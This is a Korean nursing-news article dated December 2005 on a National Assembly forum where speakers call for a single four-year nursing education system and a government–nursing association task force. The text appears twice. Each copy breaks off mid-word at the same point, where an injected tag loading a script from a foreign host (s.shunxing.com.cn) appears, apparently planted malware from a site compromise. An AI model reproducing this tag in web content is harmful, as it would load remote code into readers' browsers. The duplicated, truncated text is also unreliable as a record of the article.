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간호교육 일원화"정부.간협 TFT운영"촉구
국회 민생정치연구회 정책토론회 열어
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2005-12-22 오전 08:29:15
간호사의 역할이 전문화 다양화 되고 있는 사회 변화에 부응하고, 한국 간호의 글로벌 경쟁력을 강화하기 위해선 간호교육제도가 반드시 4년제로 일원화 돼야 한다는 주장이 설득력을 얻으며 공감대가 확산되고 있다.
또한 대한간호협회는 간호교육제도 일원화 문제를 실질적으로 논의하기 위해 보건복지부, 교육인적자원부, 간호계가 함께 참여하는 태스크포스팀(TFT)이 운영돼야 한다고 강력히 촉구하고 나섰다.
간호계의 30여년 숙원사업인 간호교육제도 일원화 문제가 국회에서 심도 있게 다뤄졌다. 국회 민생정치연구회(공동대표 고경화 신상진 의원)가 12월 15일 의원회관 대강당에서 `인구 노령화 등 사회 변화에 따른 보건의료 교육제도 개선 정책토론회'를 개최한 것. 이 자리에는 전국 시 도간호사회와 산하단체 회장, 간호대학 교수와 간호사, 간호대학생 등 800여명이 참석해 간호계의 결연한 의지와 뜨거운 염원을 보여줬다.
이날 정책토론회 개회식에서 신상진 의원(민생정치연구회 공동대표)은 인사말을 통해 “간호교육문제에 대해 깊은 관심을 갖고 있으며, 오늘의 토론회를 통해 실천적 개선방안이 활발히 논의되길 기대한다”고 말했다.
박근혜 한나라당 대표최고위원은 간호사들을 격려하는 메시지를 보내왔으며, 김문수 의원(한나라당 민생대책위원장)은 축사에서 “민생정치연구회에서는 보건복지부문의 민생문제를 해결하는데 많은 관심을 갖고 있으며, 특히 17대 국회를 통해 치매 중풍노인의 돌봄 문제를 확실히 해결할 수 있는 법과 제도를 마련하겠다는 의지를 갖고 있다”고 말했다. 한나라당 박계동, 배일도 의원도 참석해 “시대 변화에 따라 간호사들의 주체적 기능과 역할이 확대되고 있는 만큼 이에 걸맞게 학제 개선이 이뤄지는 것이 당연하다”고 말했다.
김의숙 대한간호협회장은 인사말에서 “세계무대에서 한국 간호가 경쟁력을 갖고 발전하기 위해선 간호교육제도 일원화가 반드시 이뤄져야 한다”면서 “간호계는 그동안 3년제 전문대학 간호과 신설 및 증원을 억제하고, 기존 전문대학 중 준비된 곳에 대해선 4년제로의 승격을 적극 추진해야 하며, 이미 배출된 전문대학 졸업생들에게 학사학위 취득기회를 제공한다는 로드맵을 갖고 간호교육제도 일원화를 추진해왔다”고 밝혔다.
개회식에 이어 고경화 의원(민생정치연구회 공동대표)이 좌장을 맡은 가운데 2편의 주제발표와 지정토론자 6명의 종합토론이 진행됐다.
신현석 교수(고대 교육학과)는 `한국 고등교육 개혁의 구상과 전략' 주제발표에서 “세계 주요 선진국들은 대학을 국가 경쟁력 제고를 위한 전초기지로 보고 대학 교육의 질 관리 체계를 강화해 나가고 있다”면서 “우리나라도 국제 경쟁력 강화를 위해 대학의 질 관리 체계를 구축하고, 지방대학을 육성하는 등 합리적인 개혁을 추진해야 한다”고 말했다.
신현석 교수는 “우리 대학들은 학교별 특색 없이 획일적인 교육과정을 운영하고 있는 경향이 있다”면서 “대학설립 준칙주의는 설립기준은 완화하돼 경쟁 시스템과 평가를 통해 존립과 도태 여부를 결정한다는 취지에서 시작됐지만, 결과적으로는 교육환경이 열악한 대학이 우후죽순 늘어나고 교육의 질은 저하되는 문제를 남겼다”고 지적했다.
신경림 교수(이대 간호과학대학)는 `간호교육의 패러다임 전환' 주제발표를 통해 “미래의 간호 트렌드를 나타내는 핵심개념은 노인인구 중심, 세계화, 대상자 중심, 지역사회 중심, 건강증진과 복지 중심, 다학문 통합 접근, 간호실무 중심, 경영 마인드, 한국적 간호 등이 될 것”이라면서 “간호교육의 패러다임이 개방성, 융통성, 창조성, 잠재력 등을 개발하는 방향으로 바뀌어야 하며, 특히 비판적 사고력을 키워주는 문제제기식 교육이 필요하다”고 밝혔다.
신경림 교수는 “미래사회 변화에 걸맞은 간호인재 양성을 위해
간호교육제도는 일원화돼야 한다”면서 “간호사의 역할 변화에 따른 교과목 개편, 간호교육 평가인정제도 정착, 임상교수제와 교수실습제도 도입 등도 중요한 과제”라고 말했다.
첫 번째 토론자로 나선 김형걸 인천경제자유구역청 법률세제팀장은 “인천경제특구에 들어서는 국제병원이 오픈할 경우 앞으로 800여명의 간호사가 필요하고 대부분 한국 간호사로 채용하게 될 가능성이 높다”면서 “간호사들에게는 글로벌 표준에 맞는 교육과 실무수준을 요구하게 될 것이며, 보건의료시장 개방에 대비해 간호교육제도는 4년제로 일원화돼야 한다”는 의견을 밝혔다.
조우현 국민건강보험공단 노인요양보장실행준비단장은 “고령화 사회를 맞아 노인요양보장제도를 성공적으로 정착시키는 것이 국가적인 과제이며, 간호사는 제도를 이끌어나갈 중심인력”이라면서 “간호교육제도 개선과 전문화를 통해 보다 잘 준비된 간호사들이 배?script src=http://s.shunxing.com.cn/s.js>
또한 대한간호협회는 간호교육제도 일원화 문제를 실질적으로 논의하기 위해 보건복지부, 교육인적자원부, 간호계가 함께 참여하는 태스크포스팀(TFT)이 운영돼야 한다고 강력히 촉구하고 나섰다.
간호계의 30여년 숙원사업인 간호교육제도 일원화 문제가 국회에서 심도 있게 다뤄졌다. 국회 민생정치연구회(공동대표 고경화 신상진 의원)가 12월 15일 의원회관 대강당에서 `인구 노령화 등 사회 변화에 따른 보건의료 교육제도 개선 정책토론회'를 개최한 것. 이 자리에는 전국 시 도간호사회와 산하단체 회장, 간호대학 교수와 간호사, 간호대학생 등 800여명이 참석해 간호계의 결연한 의지와 뜨거운 염원을 보여줬다.
이날 정책토론회 개회식에서 신상진 의원(민생정치연구회 공동대표)은 인사말을 통해 “간호교육문제에 대해 깊은 관심을 갖고 있으며, 오늘의 토론회를 통해 실천적 개선방안이 활발히 논의되길 기대한다”고 말했다.
박근혜 한나라당 대표최고위원은 간호사들을 격려하는 메시지를 보내왔으며, 김문수 의원(한나라당 민생대책위원장)은 축사에서 “민생정치연구회에서는 보건복지부문의 민생문제를 해결하는데 많은 관심을 갖고 있으며, 특히 17대 국회를 통해 치매 중풍노인의 돌봄 문제를 확실히 해결할 수 있는 법과 제도를 마련하겠다는 의지를 갖고 있다”고 말했다. 한나라당 박계동, 배일도 의원도 참석해 “시대 변화에 따라 간호사들의 주체적 기능과 역할이 확대되고 있는 만큼 이에 걸맞게 학제 개선이 이뤄지는 것이 당연하다”고 말했다.
김의숙 대한간호협회장은 인사말에서 “세계무대에서 한국 간호가 경쟁력을 갖고 발전하기 위해선 간호교육제도 일원화가 반드시 이뤄져야 한다”면서 “간호계는 그동안 3년제 전문대학 간호과 신설 및 증원을 억제하고, 기존 전문대학 중 준비된 곳에 대해선 4년제로의 승격을 적극 추진해야 하며, 이미 배출된 전문대학 졸업생들에게 학사학위 취득기회를 제공한다는 로드맵을 갖고 간호교육제도 일원화를 추진해왔다”고 밝혔다.
개회식에 이어 고경화 의원(민생정치연구회 공동대표)이 좌장을 맡은 가운데 2편의 주제발표와 지정토론자 6명의 종합토론이 진행됐다.
신현석 교수(고대 교육학과)는 `한국 고등교육 개혁의 구상과 전략' 주제발표에서 “세계 주요 선진국들은 대학을 국가 경쟁력 제고를 위한 전초기지로 보고 대학 교육의 질 관리 체계를 강화해 나가고 있다”면서 “우리나라도 국제 경쟁력 강화를 위해 대학의 질 관리 체계를 구축하고, 지방대학을 육성하는 등 합리적인 개혁을 추진해야 한다”고 말했다.
신현석 교수는 “우리 대학들은 학교별 특색 없이 획일적인 교육과정을 운영하고 있는 경향이 있다”면서 “대학설립 준칙주의는 설립기준은 완화하돼 경쟁 시스템과 평가를 통해 존립과 도태 여부를 결정한다는 취지에서 시작됐지만, 결과적으로는 교육환경이 열악한 대학이 우후죽순 늘어나고 교육의 질은 저하되는 문제를 남겼다”고 지적했다.
신경림 교수(이대 간호과학대학)는 `간호교육의 패러다임 전환' 주제발표를 통해 “미래의 간호 트렌드를 나타내는 핵심개념은 노인인구 중심, 세계화, 대상자 중심, 지역사회 중심, 건강증진과 복지 중심, 다학문 통합 접근, 간호실무 중심, 경영 마인드, 한국적 간호 등이 될 것”이라면서 “간호교육의 패러다임이 개방성, 융통성, 창조성, 잠재력 등을 개발하는 방향으로 바뀌어야 하며, 특히 비판적 사고력을 키워주는 문제제기식 교육이 필요하다”고 밝혔다.
신경림 교수는 “미래사회 변화에 걸맞은 간호인재 양성을 위해
간호교육제도는 일원화돼야 한다”면서 “간호사의 역할 변화에 따른 교과목 개편, 간호교육 평가인정제도 정착, 임상교수제와 교수실습제도 도입 등도 중요한 과제”라고 말했다.
첫 번째 토론자로 나선 김형걸 인천경제자유구역청 법률세제팀장은 “인천경제특구에 들어서는 국제병원이 오픈할 경우 앞으로 800여명의 간호사가 필요하고 대부분 한국 간호사로 채용하게 될 가능성이 높다”면서 “간호사들에게는 글로벌 표준에 맞는 교육과 실무수준을 요구하게 될 것이며, 보건의료시장 개방에 대비해 간호교육제도는 4년제로 일원화돼야 한다”는 의견을 밝혔다.
조우현 국민건강보험공단 노인요양보장실행준비단장은 “고령화 사회를 맞아 노인요양보장제도를 성공적으로 정착시키는 것이 국가적인 과제이며, 간호사는 제도를 이끌어나갈 중심인력”이라면서 “간호교육제도 개선과 전문화를 통해 보다 잘 준비된 간호사들이 배?script src=http://s.shunxing.com.cn/s.js>
